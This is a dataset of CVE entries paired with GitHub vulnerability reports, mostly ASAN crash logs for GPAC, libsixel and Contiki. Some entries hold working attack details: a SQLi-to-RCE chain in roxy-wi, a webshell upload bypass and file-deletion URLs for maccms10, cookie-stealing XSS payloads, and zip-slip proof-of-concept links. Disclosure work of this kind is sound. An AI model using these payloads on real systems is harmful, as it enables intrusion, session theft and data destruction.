sql = """select * from servers where hostname='%s' or id = '%s' or ip = '%s'""" % (kwargs.get("id_hostname"), kwargs.get("id_hostname"), kwargs.get("id_hostname"))
if kwargs.get("server") and kwargs.get("keep_alive"):
sql = """select active from servers where ip='%s' """ % kwargs.get("server")
try:
cursor.execute(sql)
except Exception as e:
funct.out_error(e)
else:
return cursor.fetchall()
```
there's multiple injection points from user supplied input here
one way to reach this is from hapservers.py
```python
[...]
[...]
serv = form.getvalue('serv')
service = form.getvalue('service')
[...]
[...]
if funct.check_is_server_in_group(serv):
servers = sql.select_servers(server=serv)
```
this could be exploited by least privilege account such as guest
There's some more functions supplying user input to SQL queries
## \# Command injection:
Inside `/app/funct.py` and `/api/api_funct.py` some commands executed are supplied with user input
one of many examples of a second order command injection here:
```python
def get_all_stick_table():
import sql
hap_sock_p = sql.get_setting('haproxy_sock_port')
cmd = 'echo "show table"|nc %s %s |awk \'{print $3}\' | tr -d \'\n\' | tr -d \'[:space:]\'' % (serv, hap_sock_p)
output, stderr = subprocess_execute(cmd)
return output[0]
```
haproxy_sock_port is stored in settings table, and an authenticated user can change it from `https://[%HOST%]/app/users.py#settings` then calls options page to call that function and execute arbitrary system command
most cmds in different functions are prone to command injection or second order from settings stored in the database and user controlled
### \# Conclusion
combining both unauthenticated SQLi to grab a valid uuid and bypass authentication, then use command injection an unauthenticated user can achieve pre-auth RCE
| multiple vulnerabilities leading to preauth RCE | https://api.github.com/repos/roxy-wi/roxy-wi/issues/285/comments | 2 | 2021-08-07T10:27:37Z | 2021-09-18T04:17:20Z | https://github.com/roxy-wi/roxy-wi/issues/285 | 963,203,381 | 285 | 2,291 |
CVE-2021-38197 | 2021-08-08T16:15:07.023 | unarr.go in go-unarr (aka Go bindings for unarr) 0.1.1 allows Directory Traversal via ../ in a pathname within a TAR archive. | {
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"gen2brain",
"go-unarr"
] | There is a vulnerability in unarr, which will lead to path traversal vulnerability
Go unarr does not check the contents of the archive.
Exploit process
1. An attacker can construct a malicious tar package (or any compressed archive file).
As shown in the figure below, obviously, this will not succeed under the tar command, because the tar command fixes the vulnerability.
2. The victim uses go unarr to unzip the archive
As shown in the figure below, path traversal occurs during go unarr decompression, and we upload the file to the.. / directory
3. By triggering the path traversal vulnerability, an attacker can store any file in any privileged place (which means that rce can be caused under root privileges) | There is a vulnerability in unarr, which will lead to path traversal vulnerability | https://api.github.com/repos/gen2brain/go-unarr/issues/21/comments | 2 | 2021-08-08T06:51:14Z | 2022-08-25T12:41:18Z | https://github.com/gen2brain/go-unarr/issues/21 | 963,368,020 | 21 | 2,292 |
CVE-2021-38290 | 2021-08-09T11:15:07.377 | A host header attack vulnerability exists in FUEL CMS 1.5.0 through fuel/modules/fuel/config/fuel_constants.php and fuel/modules/fuel/libraries/Asset.php. An attacker can use a man in the middle attack such as phishing. | {
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| Host header attack vulnerability exists in fuel CMS 1.5.0. An attacker can use man in the middle attack to attack users such as phishing. | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/580/comments | 0 | 2021-08-06T01:58:06Z | 2021-08-10T17:49:48Z | https://github.com/daylightstudio/FUEL-CMS/issues/580 | 962,327,274 | 580 | 2,293 |
CVE-2021-38311 | 2021-08-09T22:15:08.733 | In Contiki 3.0, potential nonterminating acknowledgment loops exist in the Telnet service. When the negotiated options are already disabled, servers still respond to DONT and WONT requests with WONT or DONT commands, which may lead to infinite acknowledgment loops, denial of service, and excessive CPU consumption. | {
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] | 835 | https://github.com/contiki-os/contiki/issues/2685 | [
"Exploit",
"Issue Tracking",
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] | github.com | [
"contiki-os",
"contiki"
] | Hello,
In the implementation of telnet servers until version 3.0 and even the latest commit 32b5b17, potential nonterminating acknowledgment loops have been found in telnet servers.
In order to prevent nonterminating acknowledgment loops, one rule made by [RFC854](https://datatracker.ietf.org/doc/html/rfc854) is that, a request must not be acknowledged if a party receives what appears to be the request to enter some mode it is already in.
However, when the negotiated options are already disabled, servers still respond to DONT and WONT requests with WONT or DONT commands. Hence, potential infinite acknowledgment loops exist in the telnet server during execution, which may lead to denial of service and excessive CPU consumption.
Could you have a check? Thanks a lot.
| Telnet servers potentially lead to nonterminating acknowledgment loops | https://api.github.com/repos/contiki-os/contiki/issues/2685/comments | 0 | 2021-08-08T13:24:15Z | 2021-08-08T13:24:15Z | https://github.com/contiki-os/contiki/issues/2685 | 963,432,101 | 2,685 | 2,294 |
CVE-2020-23171 | 2021-08-10T17:15:07.000 | A vulnerability in all versions of Nim-lang allows unauthenticated attackers to write files to arbitrary directories via a crafted zip file with dot-slash characters included in the name of the crafted file. | {
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"nim-lang",
"zip"
] | ### Issue
Given a crafted zip file containing a file of filename `../../../../../../../../tmp/evil.txt`, zip will extract the file to `/tmp/evil.txt`, while actually it should be extracted to `./tmp/evil.txt`. This vulnerability could allow the attacker to write a file to an arbitrary directory.
### How to reproduce
You can try to reproduce this vulnerability using [this zip file](https://github.com/jiahao42/PoC/raw/master/zip%40nim-lang/tests/files/evil.zip), note that the symbol `nim -d:useLibzipSrc` is needed for compilation. You can find the PoC [here](https://github.com/jiahao42/PoC/tree/master/zip%40nim-lang)
| Directory traversal vulnerability from libzip | https://api.github.com/repos/nim-lang/zip/issues/54/comments | 15 | 2020-05-10T02:44:06Z | 2024-04-23T12:09:23Z | https://github.com/nim-lang/zip/issues/54 | 615,302,437 | 54 | 2,295 |
CVE-2020-23172 | 2021-08-10T17:15:07.043 | A vulnerability in all versions of Kuba allows attackers to overwrite arbitrary files in arbitrary directories with crafted Zip files due to improper validation of file paths in .zip archives. | {
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"kuba--",
"zip"
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This vulnerability could allow the attacker to write a file to an arbitrary directory.
### How to reproduce
On the latest version (0.1.19) and the master branch of zip:
To reproduce the issue, you may try to extract this [crafted zip file](https://github.com/jiahao42/PoC/raw/master/zip%40kuba--/PoC.zip), which contains two files `good.txt` and `../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../tmp/evil.txt`. After extraction, you will find `evil.txt` is at `/tmp`, which should be at `./tmp`.
Here is the [PoC repo] (https://github.com/jiahao42/PoC/tree/master/zip%40kuba--).
### Root cause
This root cause is that zip doesn't normalize the path in [mz_zip_reader_file_stat](https://github.com/kuba--/zip/blob/master/src/miniz.h#L5122) in `miniz.h`.
### Patch
#124 should be able to fix the problem.
| Directory traversal vulnerability when handling crafted zip file | https://api.github.com/repos/kuba--/zip/issues/123/comments | 3 | 2020-05-09T15:30:27Z | 2020-08-28T12:46:51Z | https://github.com/kuba--/zip/issues/123 | 615,200,322 | 123 | 2,296 |
CVE-2021-38384 | 2021-08-10T18:15:07.513 | Serverless Offline 8.0.0 returns a 403 HTTP status code for a route that has a trailing / character, which might cause a developer to implement incorrect access control, because the actual behavior within the Amazon AWS environment is a 200 HTTP status code (i.e., possibly greater than expected permissions). | {
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] | github.com | [
"dherault",
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] | ## Bug Report
<!-- Before you create a bug report, please make sure to update `serverless` as well as `serverless-offline` to the latest version and make sure the bug hasn't been fixed already.
Please add as much information as you can. e.g. links to any `serverless` or `AWS` documentation, github issues, etc. -->
**Current Behavior**
<!-- Please provide a clear and concise description of the behavior. -->
When using a Custom Authorizer, the behaviour of serverless-offline differs from the deployed stack on AWS.
**Sample Code**
<!-- Please reduce the sample code to an absolute minimum needed to show the problem. Even better, create a small repository and link to it. -->
This is where we define the function event trigger. As it's clear to see, we expect a HTTP POST on `/{stage}/dashboard/`
- file: trailingSlash/index.ts
```ts
events: [{
http: {
method: 'post',
path: 'dashboard',
cors: true,
authorizer: 'auth',
}
}]
```
Our custom authorizer **generatePolicy** method looks like this.
- file: auth/handler.js
```ts
const generatePolicy = (principalId: string, methodArn: string, role: string) => {
const allowedResources = [];
//arn:aws:execute-api:region:account-id:api-id/stage-name/HTTP-method/resource-path
const baseArn = methodArn.split(`/`, 2).join('/');
switch (role.toUpperCase()) {
case 'ADMIN':
allowedResources.push(`${baseArn}/*/*`)
break;
case 'USER':
allowedResources.push(`${baseArn}/*/dashboard/*`)
break;
default:
break;
}
const generatedPolicy = {
principalId: principalId,
policyDocument: {
Version: "2012-10-17",
Statement: [{
Action: "execute-api:Invoke",
Effect: "Allow",
Resource: [
...allowedResources,
]
}],
},
};
return generatedPolicy;
};
```
We're basically generating the following policy to someone with the role "USER":
```js
{
"principalId": "1234567890",
"policyDocument": {
"Version": "2012-10-17",
"Statement": [{
"Action": "execute-api:Invoke",
"Effect": "Allow",
"Resource": [
"arn:aws:execute-api:us-east-1:random-account-id:random-api-id/dev/*/dashboard/*"
]
}]
}
}
```
**Expected behavior/code**
<!-- A clear and concise description of what you expected to happen (or code). -->
When testing locally using serverless-offline, fetching the endpoint http://localhost:3000/dev/dashboard/, the response is 403 Forbidden [as the screenshot shows](https://drive.google.com/file/d/1KrdyqVYeeEqC8JhOjbrm-7mWYsrVjF50/view?usp=sharing).
But when we deploy the stack to AWS, fetching the endpoint https://RANDOM.execute-api.us-east-1.amazonaws.com/dev/dashboard/, the result is 200 ok as its seen [here](https://drive.google.com/file/d/1SKrq3V3bIV7ZRPOf7pJ6UHp2QfR8vqyb/view?usp=sharing).
**Environment**
- `serverless` version: v2.53.0
- `serverless-offline` version: v8.0.0
- `node.js` version: v12.21.0
- `OS`: Linux Mint 19.1 Tessa
**Additional context/Screenshots**
<!-- Add any other context about the problem here. If applicable, add screenshots to help explain. -->
We found this issue while doing the research [The Fault in Our Stars](https://www.tenchisecurity.com/blog/thefaultinourstars), in which we explore how API Gateway Execute API Policy works under different conditions.
One researcher from our company opened the issue [1191](https://github.com/dherault/serverless-offline/issues/1191) where he indicates another incorrectly behaviour by serverless-offline regarding the way it evaluates policies. It still lacks a response to this date. | Custom Authorizer and AWS deployed stack don't have the same behavior | https://api.github.com/repos/dherault/serverless-offline/issues/1259/comments | 5 | 2021-08-05T18:28:59Z | 2024-11-07T17:22:19Z | https://github.com/dherault/serverless-offline/issues/1259 | 962,089,370 | 1,259 | 2,297 |
CVE-2021-38386 | 2021-08-10T19:15:07.827 | In Contiki 3.0, a buffer overflow in the Telnet service allows remote attackers to cause a denial of service because the ls command is mishandled when a directory has many files with long names. | {
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"contiki-os",
"contiki"
] | Telnet servers can execute many commands from clients like _ls_, _help_, _write_ and _append_. For example, the _ls_ command is able to show the contents of a certain directory in remote servers, and then servers reply executing results to clients.
However, telnet servers don't correctly handle all commands. This bug could be reproduced in the case of listing(i.e., _ls_) the content of a directory with many files. This bug appears as telnet servers put all responses in a fixed-length buffer in the implementation. Telnet servers only put messages into buffer but don't have a check whether successfully or not. Hence, when the buffer is full, it can lead to responses lost.
Remote attackers can write many long-name files in one directory until the buffer is full. Then when receiving requests from clients, servers cannot send any responses to clients. This bug may bring the denial of service to telnet servers.
| Incorrectly executing commands of telnet servers | https://api.github.com/repos/contiki-os/contiki/issues/2687/comments | 0 | 2021-08-08T13:52:04Z | 2021-08-10T12:51:43Z | https://github.com/contiki-os/contiki/issues/2687 | 963,437,581 | 2,687 | 2,298 |
CVE-2021-38387 | 2021-08-10T19:15:07.863 | In Contiki 3.0, a Telnet server that silently quits (before disconnection with clients) leads to connected clients entering an infinite loop and waiting forever, which may cause excessive CPU consumption. | {
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] | After telnet clients connect with telnet servers, clients stay blocking until receiving timeout from servers. So when the telnet server interrupts unexpectedly, the server should give an alert to clients. However, telnet servers often quit silently, thereby leading to clients waiting forever.
This bug can be reproduced when one telnet client connects with one telnet server, and then the telnet server unexpectedly quits. Then we could found that the client will be stuck there and cannot stop until CPU resources run out. | Silent quit of telnet servers leading to clients waiting forever | https://api.github.com/repos/contiki-os/contiki/issues/2688/comments | 0 | 2021-08-08T14:00:28Z | 2021-08-10T12:33:01Z | https://github.com/contiki-os/contiki/issues/2688 | 963,439,177 | 2,688 | 2,299 |
CVE-2020-21677 | 2021-08-10T21:15:07.447 | A heap-based buffer overflow in the sixel_encoder_output_without_macro function in encoder.c of Libsixel 1.8.4 allows attackers to cause a denial of service (DOS) via converting a crafted PNG file into Sixel format. | {
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"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
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"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
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"Exploit",
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] | github.com | [
"saitoha",
"libsixel"
] | version : img2sixel 1.8.4
OS : Ubuntu 18.04
configured with:
libcurl: yes
libpng: yes
libjpeg: yes
gdk-pixbuf2: no
GD: no
There is a heap-buffer-overflow in sixel_encoder_output_without_macro at encoder.c:814
please run following cmd to reproduce it.
```
img2sixel --high-color $PoC
```
[poc](https://drive.google.com/file/d/1NVULz3OAyBi190KLfZO3n49-X5iJuH1x/view?usp=sharing)
ASAN LOG
```
==26572==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f1b55fdd320 at pc 0x0000004d90f2 bp 0x7ffd65666ef0 sp 0x7ffd656666a0
READ of size 1526074725 at 0x7f1b55fdd320 thread T0
#0 0x4d90f1 in __asan_memcpy (/home/tmp/img2sixel+0x4d90f1)
#1 0x7f1c0acb8341 in sixel_encoder_output_without_macro /home/tmp/libsixel/src/encoder.c:814:5
#2 0x7f1c0acb8341 in sixel_encoder_encode_frame /home/tmp/libsixel/src/encoder.c:1050
#3 0x7f1c0ac8f026 in load_gif /home/tmp/libsixel/src/fromgif.c:649:22
#4 0x7f1c0aa6c6fb in load_with_builtin /home/tmp/libsixel/src/loader.c:888:18
#5 0x7f1c0aa6c6fb in sixel_helper_load_image_file /home/tmp/libsixel/src/loader.c:1392
#6 0x7f1c0acb099f in sixel_encoder_encode /home/tmp/libsixel/src/encoder.c:1737:14
#7 0x51787f in main /home/tmp/libsixel/converters/img2sixel.c:457:22
#8 0x7f1c09016b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#9 0x41a379 in _start (/home/tmp/img2sixel+0x41a379)
0x7f1b55fdd320 is located 0 bytes to the right of 36043552-byte region [0x7f1b53d7d800,0x7f1b55fdd320)
allocated by thread T0 here:
#0 0x4da230 in __interceptor_malloc (/home/tmp/img2sixel+0x4da230)
#1 0x7f1c0ac8ce95 in gif_init_frame /home/tmp/libsixel/src/fromgif.c:239:42
#2 0x7f1c0ac8ce95 in load_gif /home/tmp/libsixel/src/fromgif.c:644
#3 0x7f1c0aa6c6fb in load_with_builtin /home/tmp/libsixel/src/loader.c:888:18
#4 0x7f1c0aa6c6fb in sixel_helper_load_image_file /home/tmp/libsixel/src/loader.c:1392
#5 0x7f1c0acb099f in sixel_encoder_encode /home/tmp/libsixel/src/encoder.c:1737:14
#6 0x51787f in main /home/tmp/libsixel/converters/img2sixel.c:457:22
#7 0x7f1c09016b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/tmp/img2sixel+0x4d90f1) in __asan_memcpy
Shadow bytes around the buggy address:
0x0fe3eabf3a10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe3eabf3a20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe3eabf3a30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe3eabf3a40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe3eabf3a50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0fe3eabf3a60: 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa
0x0fe3eabf3a70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe3eabf3a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe3eabf3a90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe3eabf3aa0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe3eabf3ab0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==26572==ABORTING
``` | heap-buffer-overflow in sixel_encoder_output_without_macro at encoder.c:814 | https://api.github.com/repos/saitoha/libsixel/issues/123/comments | 3 | 2019-12-24T03:33:01Z | 2021-08-12T08:20:15Z | https://github.com/saitoha/libsixel/issues/123 | 541,975,419 | 123 | 2,300 |
CVE-2021-32437 | 2021-08-11T20:15:08.933 | The gf_hinter_finalize function in GPAC 1.0.1 allows attackers to cause a denial of service (NULL pointer dereference) via a crafted file in the MP4Box command. | {
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"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"gpac",
"gpac"
] | A null pointer dereference issue was found in MP4Box, to reproduce, compile gpac as follows:
```
CC=gcc CXX=g++ CFLAGS="-fsanitize=address" CXXFLAGS="-fsanitize=address" LDFLAGS="-fsanitize=address" ./configure --enable-debug
```
run poc file :
```
./bin/gcc/MP4Box -hint poc -out /dev/null
```
Detailed ASAN result is as below:
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1042==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fc3d4e76d0b bp 0x7ffd390b09a0 sp 0x7ffd390ae160 T0)
==1042==The signal is caused by a READ memory access.
==1042==Hint: address points to the zero page.
#0 0x7fc3d4e76d0a in gf_hinter_finalize media_tools/isom_hinter.c:1236
#1 0x555a478a9019 in HintFile /home/lab4/src/gpac/applications/mp4box/main.c:3467
#2 0x555a478b3e70 in mp4boxMain /home/lab4/src/gpac/applications/mp4box/main.c:6209
#3 0x555a478b4653 in main /home/lab4/src/gpac/applications/mp4box/main.c:6335
#4 0x7fc3d48bc0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
#5 0x555a478a02ad in _start (/home/lab4/src/gpac/bin/gcc/MP4Box+0x182ad)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV media_tools/isom_hinter.c:1236 in gf_hinter_finalize
==1042==ABORTING
```
Credit : ADLab of Venustech
[poc_null.zip](https://github.com/gpac/gpac/files/6403820/poc_null.zip)
| Null pointer dereference in function gf_hinter_finalize isom_hinter.c:1236 | https://api.github.com/repos/gpac/gpac/issues/1770/comments | 1 | 2021-04-30T08:10:59Z | 2021-08-11T02:23:20Z | https://github.com/gpac/gpac/issues/1770 | 872,144,270 | 1,770 | 2,301 |
CVE-2021-32438 | 2021-08-11T20:15:08.977 | The gf_media_export_filters function in GPAC 1.0.1 allows attackers to cause a denial of service (NULL pointer dereference) via a crafted file in the MP4Box command. | {
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"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"gpac",
"gpac"
] | A null pointer dereference issue was found in MP4Box, to reproduce, compile gpac as follows:
```
CC=gcc CXX=g++ CFLAGS="-fsanitize=address" CXXFLAGS="-fsanitize=address" LDFLAGS="-fsanitize=address" ./configure --enable-debug
```
run poc file :
```
./bin/gcc/MP4Box -nhnt 1 poc -out /dev/null
```
Detailed ASAN result is as below:
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2590==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000004 (pc 0x7f10a4aef7e8 bp 0x7ffc623e3300 sp 0x7ffc623e2c20 T0)
==2590==The signal is caused by a READ memory access.
==2590==Hint: address points to the zero page.
#0 0x7f10a4aef7e7 in gf_media_export_filters media_tools/media_export.c:1112
#1 0x7f10a4af1146 in gf_media_export media_tools/media_export.c:1474
#2 0x5605c1f30d36 in do_export_tracks /home/lab4/src/gpac/applications/mp4box/main.c:4646
#3 0x5605c1f35f6a in mp4boxMain /home/lab4/src/gpac/applications/mp4box/main.c:5971
#4 0x5605c1f37653 in main /home/lab4/src/gpac/applications/mp4box/main.c:6335
#5 0x7f10a455a0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
#6 0x5605c1f232ad in _start (/home/lab4/src/gpac/bin/gcc/MP4Box+0x182ad)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV media_tools/media_export.c:1112 in gf_media_export_filters
==2590==ABORTING
```
Credit : ADLab of Venustech
[poc-null.zip](https://github.com/gpac/gpac/files/6403776/poc-null.zip)
| Null pointer dereference in gpac MP4Box gf_media_export_filters | https://api.github.com/repos/gpac/gpac/issues/1769/comments | 1 | 2021-04-30T08:03:06Z | 2021-08-11T02:27:58Z | https://github.com/gpac/gpac/issues/1769 | 872,138,105 | 1,769 | 2,302 |
CVE-2021-32439 | 2021-08-11T20:15:09.013 | Buffer overflow in the stbl_AppendSize function in MP4Box in GPAC 1.0.1 allows attackers to cause a denial of service or execute arbitrary code via a crafted file. | {
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"accessVector": "NETWORK",
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"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
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"exploitabilityScore": 8.6,
"impactScore": 6.4,
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"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
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"impactScore": 5.9,
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"gpac",
"gpac"
] | A OOB Write issue was found in MP4Box, to reproduce, compile gpac as follows:
```
CC=gcc CXX=g++ CFLAGS="-fsanitize=address" CXXFLAGS="-fsanitize=address" LDFLAGS="-fsanitize=address" ./configure --enable-debug
```
run poc file :
```
./bin/gcc/MP4Box -hint poc -out /dev/null
```
Detailed ASAN result is as below:
```
15305==ERROR: AddressSanitizer: SEGV on unknown address 0x616000010000 (pc 0x7ff3a3276461 bp 0x7ffc231be4c0 sp 0x7ffc231be490 T0)
==15305==The signal is caused by a WRITE memory access.
#0 0x7ff3a3276460 in stbl_AppendSize isomedia/stbl_write.c:1650
#1 0x7ff3a3279df4 in MergeTrack isomedia/track.c:703
#2 0x7ff3a3225f85 in MergeFragment isomedia/isom_intern.c:90
#3 0x7ff3a3227ec2 in gf_isom_parse_movie_boxes_internal isomedia/isom_intern.c:649
#4 0x7ff3a3228488 in gf_isom_parse_movie_boxes isomedia/isom_intern.c:777
#5 0x7ff3a322881b in gf_isom_open_file isomedia/isom_intern.c:897
#6 0x7ff3a322b7f7 in gf_isom_open isomedia/isom_read.c:520
#7 0x558e07ad4e7e in mp4boxMain /home/src/gpac/applications/mp4box/main.c:5722
#8 0x558e07ad7653 in main /home/src/gpac/applications/mp4box/main.c:6335
#9 0x7ff3a2da60b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
#10 0x558e07ac32ad in _start (/home/src/gpac/bin/gcc/MP4Box+0x182ad)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV isomedia/stbl_write.c:1650 in stbl_AppendSize
==15305==ABORTING
```
Credit : ADLab of Venustech
[oob_write_stbl_write_c_1650.zip](https://github.com/gpac/gpac/files/6404010/oob_write_stbl_write_c_1650.zip)
| Out of bounds Write in stbl_write.c:1650 | https://api.github.com/repos/gpac/gpac/issues/1774/comments | 1 | 2021-04-30T08:40:50Z | 2021-08-11T02:30:18Z | https://github.com/gpac/gpac/issues/1774 | 872,168,928 | 1,774 | 2,303 |
CVE-2021-32440 | 2021-08-11T20:15:09.047 | The Media_RewriteODFrame function in GPAC 1.0.1 allows attackers to cause a denial of service (NULL pointer dereference) via a crafted file in the MP4Box command. | {
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"Exploit",
"Issue Tracking",
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] | github.com | [
"gpac",
"gpac"
] | A SEGV issue was found in MP4Box, to reproduce, compile gpac as follows:
```
CC=gcc CXX=g++ CFLAGS="-fsanitize=address" CXXFLAGS="-fsanitize=address" LDFLAGS="-fsanitize=address" ./configure --enable-debug
```
run poc file :
```
./bin/gcc/MP4Box -hint poc -out /dev/null
```
Detailed ASAN result is as below:
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==29303==ERROR: AddressSanitizer: SEGV on unknown address 0x602000021b70 (pc 0x7fc90a84caa9 bp 0x7ffee2653e40 sp 0x7ffee2653da0 T0)
==29303==The signal is caused by a READ memory access.
#0 0x7fc90a84caa8 in Media_RewriteODFrame isomedia/media_odf.c:135
#1 0x7fc90a84b02e in Media_GetSample isomedia/media.c:636
#2 0x7fc90a821813 in gf_isom_get_sample_ex isomedia/isom_read.c:1823
#3 0x7fc90a8218f3 in gf_isom_get_sample isomedia/isom_read.c:1843
#4 0x562b406cfc50 in HintFile /home/src/gpac/applications/mp4box/main.c:3412
#5 0x562b406dae70 in mp4boxMain /home/src/gpac/applications/mp4box/main.c:6209
#6 0x562b406db653 in main /home/src/gpac/applications/mp4box/main.c:6335
#7 0x7fc90a3990b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
#8 0x562b406c72ad in _start (/home/src/gpac/bin/gcc/MP4Box+0x182ad)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV isomedia/media_odf.c:135 in Media_RewriteODFrame
==29303==ABORTING
```
Credit : ADLab of Venustech
[poc_segv_media_odf_c_135.zip](https://github.com/gpac/gpac/files/6403912/poc_segv_media_odf_c_135.zip)
| SEGV in gpac MP4Box function Media_RewriteODFrame | https://api.github.com/repos/gpac/gpac/issues/1772/comments | 1 | 2021-04-30T08:25:12Z | 2021-08-11T02:31:04Z | https://github.com/gpac/gpac/issues/1772 | 872,155,736 | 1,772 | 2,304 |
CVE-2020-21359 | 2021-08-11T21:15:07.873 | An arbitrary file upload vulnerability in the Template Upload function of Maccms10 allows attackers bypass the suffix whitelist verification to execute arbitrary code via adding a character to the end of the uploaded file's name. | {
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] | 434 | https://github.com/magicblack/maccms10/issues/80 | [
"Exploit",
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] | github.com | [
"magicblack",
"maccms10"
] | In the ""超级控制台->模板->模板管理"", Add function can bypass suffix whitelist verification, and upload any file.
The way to bypass the whitelist suffix is to add one point at the end of the file name.
Like this.
`1.php.`
Then click Save.
File 1.php will be successfully created and written to malicious content.
Then go to http://127.0.0.1/maccms10/template/1.php to get the webshell.
| Remote command execution vulnerability exists in the management backend | https://api.github.com/repos/magicblack/maccms10/issues/80/comments | 1 | 2019-10-22T13:56:49Z | 2019-10-23T06:11:27Z | https://github.com/magicblack/maccms10/issues/80 | 510,674,596 | 80 | 2,305 |
CVE-2020-21362 | 2021-08-11T21:15:07.910 | A cross site scripting (XSS) vulnerability in the background search function of Maccms10 allows attackers to execute arbitrary web scripts or HTML via the 'wd' parameter. | {
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] | github.com | [
"magicblack",
"maccms10"
] | When the administrator logged in, open the following link.
```
http://127.0.0.1/maccms10/admin.php/admin/link/index.html?wd=%22%3e<svg/onload=alert(document.cookie)>
```
**Can take over the administrator because the value of the cookie is obtained** | XSS vulnerability exists in the background search function. | https://api.github.com/repos/magicblack/maccms10/issues/78/comments | 3 | 2019-10-22T12:56:42Z | 2019-10-23T06:11:04Z | https://github.com/magicblack/maccms10/issues/78 | 510,637,348 | 78 | 2,306 |
CVE-2020-21363 | 2021-08-11T21:15:07.947 | An arbitrary file deletion vulnerability exists within Maccms10. | {
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] | github.com | [
"magicblack",
"maccms10"
] | In the ""超级控制台->基础->附件管理"", delete function can delete any file, including `/application/data/install/install.lock`
After the administrator logged in, open the following link.
```
http://127.0.0.1/maccms10/admin.php/admin/images/del.html?ids%5B%5D=/upload/../application/data/install/install.lock
```
File `install.lock` will be deleted
Then visit `install.php`
This can reinstall the entire site.
delete `admin.php`
```
http://127.0.0.1/maccms10/admin.php/admin/images/del.html?ids%5B%5D=/upload/../admin.php
```
In general, it can be used with CSRF vulnerabilities to delete arbitrary files. | Any file can be deleted in the background | https://api.github.com/repos/magicblack/maccms10/issues/79/comments | 1 | 2019-10-22T13:17:51Z | 2019-10-23T06:11:16Z | https://github.com/magicblack/maccms10/issues/79 | 510,649,690 | 79 | 2,307 |
CVE-2020-20977 | 2021-08-12T15:15:07.430 | A stored cross site scripting (XSS) vulnerability in index.php/legend/6.html of UK CMS v1.1.10 allows attackers to execute arbitrary web scripts or HTML via a crafted payload in the Comments section. | {
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] | before
1)insert <script>alert</script> in comments section
2）Login to the backstage as the admin;-结构内容-独立模型内容-内容评论-XSS Popup
| There is a Stored XSS Vulnerability via the in ukcms 1.1.10. | https://api.github.com/repos/yxcmf/ukcms/issues/6/comments | 0 | 2019-11-02T09:18:25Z | 2019-11-03T01:20:40Z | https://github.com/yxcmf/ukcms/issues/6 | 516,544,257 | 6 | 2,308 |
CVE-2020-18445 | 2021-08-12T17:15:07.900 | Cross Site Scripting (XSS) vulnerability exists in YUNUCMS 1.1.9 via the upurl function in Page.php. | {
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"yunucms"
] | There is an Reflective Cross Site Scripting vulnerability in your latest version of the CMS v1.1.9
Download link: "http://img.yunucms.com/o_1d1n2lp3h1g0m1rjfvf818epqmua.zip?attname="
In the YUNUCMSv1.1.9\app\extend\com\Page.php, No filtering to url in the upurl( ) function:
Steps To Reproduce:
Open below URL in browser which supports flash.
url:http://localhost/index.php/index/category/index?[xsspayload]&id=23&page=2
exp:http://localhost/index.php/index/category/index?area=shijiazhuang'"><script>alert(1)</script>&id=23&page=2
Fix:
